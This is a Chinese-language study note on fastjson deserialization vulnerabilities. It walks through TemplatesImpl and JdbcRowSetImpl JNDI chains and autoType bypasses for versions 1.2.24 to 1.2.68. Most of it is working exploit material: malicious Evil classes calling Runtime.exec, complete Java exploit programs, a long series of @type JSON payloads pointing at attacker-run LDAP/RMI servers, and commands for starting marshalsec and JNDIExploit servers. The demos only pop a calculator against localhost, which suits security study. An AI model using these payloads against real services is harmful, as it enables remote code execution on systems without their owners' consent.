1.2.24

基于TemplatesImpl的利用链

这个链子和CC3有点像,Java动态加载字节码
当时CC3是:

1
TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->....

但是getTransletInstance()不符合fastjson反序列化调用get方法的要求,它返回的是一个抽象类AbstractTranslet因此寻找谁调用的TemplatesImpl#newTransformer()找到getOutputProperties()`方法,符合要求
1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

javac编译

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXP
public class study1 {
public static String readClass(String cls) {
try {
FileInputStream fis = new FileInputStream(new File(cls));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
fis.close();
return Base64.getEncoder().encodeToString(bos.toByteArray());
} catch (IOException e) {
e.printStackTrace();
return null; // or handle the error appropriately
}
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:\\JavaProject\\Javastudy\\cc3\\src\\main\\java\\Evil.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'jmx0hxq','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

image.png

基于JdbcRowSetImpl的利用链

这个对jdk版本有限制:

1
2
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。

这里先装个jdk8u111: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

JNDI+LDAP

JdbcRowSetImpl 类里面有一个setAutoCommit()方法
image.png
由于第一次初始化肯定conn为null,进入connect()方法
image.png

这里有lookup,getDataSourceName()返回一个变量dataSource,而我们可以控制这个变量为恶意JNDI监听端

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Evil", "autoCommit":true}

JNDI工具:

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0

image.png

或者我们可以使用marshalsec项目:

1
2
3
4
5
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8080/#Evil 1389

我们需要在一个文件里准备好编译好的Evil.class文件,然后用python开启一个临时服务器

1
python -m http.server 8080

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class Evil {
public Evil() {
}
static {
try {

Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}

此时payload:
1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class test1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

image.png

RMI

原理一样,换成RMI协议

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0:8080/#Evil 1099

image.png

绕过

1.2.25-1.2.41 绕过

  • 需要开启autoTypeSupport
  • 在目标类前加L,后面加;
    调试:
    JSON.parse(payload);下断点,一直走
    image.png

image.png

image.png

image.png

image.png
调用到checkAutoType方法,前面一堆操作没啥用,if判断:
image.png
然后进入loadClass方法
image.png
这里可以看到对className做了处理,删除了L和;最后会被清空

EXP:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class test1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

1.2.25-1.2.42 绕过

  • 开启autoTypeSupport
  • 双写L加分号绕过
    这里链子都是一样的,我们直接看TypeUtil的loadClass()方法
    image.png
    这里截取一次[和;之后就又调用loadClass()方法了,完全可以双写绕过,甚至写三个四个都可以
    Exp:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;

    public class test1 {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
    JSON.parse(payload);
    }
    }
    image.png

1.2.25-1.2.43 绕过

官方对于1.2.42的修复是类中连续两个L就会抛出异常
但是之前的代码我们可以发现出了L还有[
一开始想着改成:

1
[com.sun.rowset.JdbcRowSetImpl

报错:
1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Evil", "autoCommit":true}

第42个位置是第一个逗号,我在逗号前加一个[:

1
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";

报错:
1
syntax error, expect {, actual string, pos 43

然后再在逗号前加个{

Exp:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true}

此时成功弹出计算器

1.2.25-1.2.45绕过方式

  • 需要开启autoType
  • 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

poe.xml

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.2.8</version>
</dependency>

Exp:
1
2
3
4
5
6
7
8
9
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}

}

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单,可以绕过checkAutoType函数,然后它还有个setProperties()方法,可以调用lookup函数,参数是可控的data_source变量
image.png

1.2.25-1.2.47通杀

条件:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
    payload:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://localhost:1389/badNameClass",
    "autoCommit":true
    }
    }

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.alibaba.fastjson.JSON;

public class test2 {
public static void main(String[] args) {
String str="{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://localhost:1389/Evil\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(str);
}
}

1.2.25-1.2.59

  • 需要包
    1
    2
    3
    4
    5
    <dependency>
    <groupId>com.zaxxer</groupId>
    <artifactId>HikariCP</artifactId>
    <version>3.4.5</version>
    </dependency>
  • 需要autoType

payload:

1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} 或 {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

image.png

1.2.25-1.2.60

payload:

1
2
3
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://localhost:1389/Evil"}

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://localhost:1389/Evil"}

这两个找对应的包没复习成功不知道为啥

1.2.25-1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Evil

1.2.62

需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。

几个payload:

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://localhost:1389/Exploit"
}

1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.66

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)

黑名单绕过,都需要开启AutoType。

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
"jndiNames": [
"ldap://localhost:1389/Exploit"
],
"Realms": [
""
]
}
1
2
3
4
5
6
7
8
9
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://localhost:1389/Exploit"
}

{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://localhost:1389/Exploit"
}
1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://localhost:1389/Exploit"
}
}
1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

1.2.67

黑名单绕过,需要开启AutoType。

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": [
"ldap://localhost:1389/Exploit"
],
"tm": {
"$ref": "$.tm"
}
}
1
2
3
4
5
6
7
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://localhost:1389/Exploit",
"instance": {
"$ref": "$.instance"
}
}

1.2.68

假设有个实现AutoCloseable接口类的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package jmx;

public class cmd implements AutoCloseable {
public cmd(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

Poc:
1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class test {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"jmx.cmd\",\"cmd\":\"calc\"}";
JSON.parse(s);
}
}

image.png

BCEL

[[类加载机制#BCEL ClassLoader]]

参考: